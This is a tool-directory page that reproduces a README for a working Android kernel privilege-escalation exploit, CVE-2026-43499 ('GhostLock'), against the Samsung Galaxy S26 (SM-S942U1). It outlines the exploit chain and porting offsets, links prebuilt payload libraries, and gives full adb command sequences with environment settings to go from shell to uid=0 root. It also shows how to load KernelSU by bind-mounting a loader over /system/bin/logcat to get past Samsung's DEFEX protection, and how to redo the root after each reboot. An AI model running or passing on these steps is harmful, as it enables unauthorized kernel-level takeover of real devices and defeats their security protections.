Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
s26-m1q-ghostlock-selinux — GhostLock CVE-2026-43499 research for Galaxy S26 (SM-S942U1/m1q): SELinux Permissive achieved, KASLR + tracefs port, uid=0 boundary documented | Kitploit
Tools/GitHubGitHub/xrzcc/s26-m1q-ghostlock-selinux
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationReverse EngineeringMobile SecurityBinary Exploitation
GitHubxrzcc/s26-m1q-ghostlock-selinux

s26-m1q-ghostlock-selinux

GhostLock CVE-2026-43499 research for Galaxy S26 (SM-S942U1/m1q): SELinux Permissive achieved, KASLR + tracefs port, uid=0 boundary documented

View Repository
61511 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

S26 (SM-S942U1 / m1q) GhostLock CVE-2026-43499 — uid=0 root + KernelSU activation achieved

针对 Samsung Galaxy S26(SM-S942U1,codename m1q,SoC SM8850 骁龙 8 Elite Gen2, 内核 6.12.30-android16-5-android16-5-pd30ff70,Android 16)的 CVE-2026-43499(GhostLock)提权研究。

✅ Final result: uid=0 root + KernelSU activation achieved

# exploit 后通过 root helper 验证
$ /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie -c 'id'
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

# KernelSU late-load 后内核接口已就位
$ ./su_daemon_aarch64_pie --ksu-info
KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5

$ getenforce
Enforcing   # late-load 后 SELinux 恢复 Enforcing,由 KernelSU 策略接管授权

Escalated from shell (uid 2000) to uid=0(root), context=kernel (highest privilege); then completed KernelSU late-load, the kernel driver interface (version=32525) was activated, and SELinux was taken over by KernelSU sepolicy.

Key Breakthrough Path

Found monovibe/s26u-m3q-temp-root (S26 Ultra temporary KernelSU root), whose kernel commit pd30ff70 is completely identical to the US version S942U1. The core mechanism does not use dirty-pipe (bypassing the "non-NULL write" boundary):

  1. tracefs KASLR 探测 → slide(美版 KASLR 随机,非 nokaslr)
  2. KernelSnitch mm_struct collision + spray
  3. GhostLock 写原语(owner_null shape)→ misc/simple_attr carrier(完整任意读写)
  4. uinput misc 节点 patch → controller/data 两个 fd + debugfs_u64 get/set
  5. 伪造 workqueue work item → call_usermodehelper_exec_work → 以 uid=0 启动 su_daemon helper
  6. helper 创建 root socket(temp_su.sock)

Porting Keys (3 Differences from m3q to US Version)

Itemm3q Original ValueUS Version Value
DEBUGFS_U64_FORMAT_OFF ("%llu\n" string offset, most critical)0x18be5e90x18be529
P0_KERNEL_PHYS_LOAD0x800000000xc7800000 (xbl_config authoritative)
app_uid check lower bound100002000 (allows shell)

DEBUGFS_U64_FORMAT_OFF is a string literal (not a symbol); compiler layout caused the US version to be offset by 0xC0; the m3q value points to KVM's "GWVRn_EL1(1)" string in the US version, causing the read primitive to output garbled data.

Directory Structure

├── README.md
├── prebuilt/                                  # S26 预编译 payload + ksud(直接用,无需构建)
│   ├── preload-m1q-S942U1UES4AZG3.so          # monovibe fast-attr 变体(命令行 LD_PRELOAD,实测成功)
│   ├── cve-2026-43499-app.so                  # RMG physical-P0 oracle 变体(APP 手动选用)
│   └── ksud-m1q-S942U1UES4AZG3-kdp            # KernelSU loader(复用 m3q,实测 late-load version=32525)
├── docs/
│   └── M1Q_SELINUX_WRITE_FAIL_ROOTCAUSE.md   # 完整诊断(含 uid=0 成功记录)
├── m3q-temp-root/                            # monovibe/s26u-m3q-temp-root 移植(源码)
└── kallsyms/kallsyms.txt                      # 美版内核符号表(128307 符号)

ksud is already included in prebuilt/ksud-m1q-S942U1UES4AZG3-kdp (reusing m3q, late-load verified successful).

Reproduction: achieving uid=0 root

Directly use the ready-made payload + ksud in prebuilt/ (no build required):

adb push prebuilt/preload-m1q-S942U1UES4AZG3.so /data/local/tmp/preload.so
adb push prebuilt/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp
adb shell mkdir -p /data/local/tmp/cve-2026-43499-m1q-ues4azg3
# root helper su_daemon_aarch64_pie(24392B):从 m3q-temp-root/ 源码用 NDK r29 构建,
# 或从改造版 APP(lib/arm64-v8a/libcve43499root.so)提取后重命名
adb push su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie
adb shell chmod 755 /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie

# 3. 运行 root-single(需补 PSELECT_MM_KICK_SLABS,否则卡在 "requires 0-16 kicker slabs" gate)
adb shell "env M3Q_STAGE=root-single M3Q_APP_UID=2000 M3Q_ENABLE_WRITE=1 \
  M3Q_REQUIRE_TRACEFS=1 M3Q_POPSICLE_WALK=1 M3Q_ATTR_CARRIER=1 M3Q_ATTR_ROOT=1 \
  M3Q_ACCEPT_PANIC_RISK=1 TMP_PAGE_UNAME=1 TMP_UNAME_PIPEI_SWEEP=1 \
  TMP_UNAME_PIPEI_SLOT_CANDIDATES=1 TMP_UNAME_PIPEI_MAX_ATTEMPTS=1 \
  GHOSTLOCK_CORE=6 GHOSTLOCK_CONSUMER_CORE=7 \
  PSELECT_OWNER_NULL=1 PSELECT_REAL_WAITER_TASK=1 PSELECT_W0_PRIO_OVERRIDE=100 \
  PIPEI_ORACLE_WALK=1 PIPEI_ORACLE_REGION=3 PIPEI_CHILD_REGIONS=5 \
  M3Q_PROBE_STRICT=1 PSELECT_MM_KICK_SLABS=2 \
  LD_PRELOAD=/data/local/tmp/preload.so sh"

# 4. 验证 root(exploit 失败会 KP 重启,等设备恢复后重跑 step 3,通常 1-2 次成功)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie -c 'id'"
# → uid=0(root) gid=0(root) context=u:r:kernel:s0

Reproduction: KernelSU late-load activation (DEFEX obstacle bypassed)

The previous commit fa1bb14 recorded "KernelSU late-load encounters the Samsung DEFEX immutable root obstacle." After on-device investigation, the real root cause of the late-load failure is not DEFEX, but that the .ksud-stage source file was never created (ksud's stage_daemon_from() is only responsible for rename; copying to the stage file is the caller's responsibility, and the late-load wrapper of su_daemon missed this step → rename reported ENOENT, which was misjudged as DEFEX interception).

# 5. 放置 stage 文件(shell uid 即可,在 /data/local/tmp 下)
adb shell "cp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/.ksud-stage"

# 6. 通过 root 通道以 bind-logcat 伪装执行 ksud late-load(绕 DEFEX exec 限制)
#    --allow-shell 让 KernelSU 对 shell uid(2000) 自动授权
adb shell "cd /data/local/tmp/cve-2026-43499-m1q-ues4azg3 && ./su_daemon_aarch64_pie -c '\
  unshare -m sh -c \"mount -o bind /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /system/bin/logcat \
  && /system/bin/logcat late-load --allow-shell --kmi android16-6.12 \
  --package-name me.weishu.kernelsu\"'"
# 成功无输出(ksud_rc=0)。late-load 会 restorecon 关闭 temp_su.sock(bootstrap 桥按设计退出)

# 7. 验证 KernelSU 激活(temp_su.sock 关闭前,或重新 exploit 后)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie --ksu-info"
# → KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5

Restore su after reboot (payload/ksud/helper are already on the device, no need to push again)

The temporary root is lost on every reboot. After pushing the files for the first time following steps 1-7 above, on each subsequent reboot you only need the following 4 adb commands:

# 1. exploit(失败会 KP 重启,等设备恢复 boot_completed 后重跑,通常 1-2 次成功)
adb shell "env M3Q_STAGE=root-single M3Q_APP_UID=2000 M3Q_ENABLE_WRITE=1 M3Q_REQUIRE_TRACEFS=1 \
  M3Q_POPSICLE_WALK=1 M3Q_ATTR_CARRIER=1 M3Q_ATTR_ROOT=1 M3Q_ACCEPT_PANIC_RISK=1 \
  TMP_PAGE_UNAME=1 TMP_UNAME_PIPEI_SWEEP=1 TMP_UNAME_PIPEI_SLOT_CANDIDATES=1 \
  TMP_UNAME_PIPEI_MAX_ATTEMPTS=1 GHOSTLOCK_CORE=6 GHOSTLOCK_CONSUMER_CORE=7 \
  PSELECT_OWNER_NULL=1 PSELECT_REAL_WAITER_TASK=1 PSELECT_W0_PRIO_OVERRIDE=100 \
  PIPEI_ORACLE_WALK=1 PIPEI_ORACLE_REGION=3 PIPEI_CHILD_REGIONS=5 \
  M3Q_PROBE_STRICT=1 PSELECT_MM_KICK_SLABS=2 \
  LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
# 成功标志:stdout 含 "m3q-fast-attr-result mode=root root=1 uid=0",su_daemon(uid=0) 起来,getenforce=Permissive

# 2. 放置 stage 文件(late-load 必需,漏这步会 ENOENT)
adb shell "cp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/.ksud-stage"

# 3. KernelSU late-load(root 通道 + bind-logcat 伪装绕 DEFEX,--allow-shell 授权 shell uid)
adb shell "cd /data/local/tmp/cve-2026-43499-m1q-ues4azg3 && ./su_daemon_aarch64_pie -c '\
  unshare -m sh -c \"mount -o bind /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /system/bin/logcat \
  && /system/bin/logcat late-load --allow-shell --kmi android16-6.12 \
  --package-name me.weishu.kernelsu\"'"
# 成功无输出(rc=0),late-load 后 temp_su.sock 被 restorecon 关闭,getenforce 恢复 Enforcing

# 4. 验证 KernelSU 激活(需重新跑 step 1 拿新 root 通道,或 late-load 后立即趁 sock 未关)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie --ksu-info"
# → KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5
Download Tool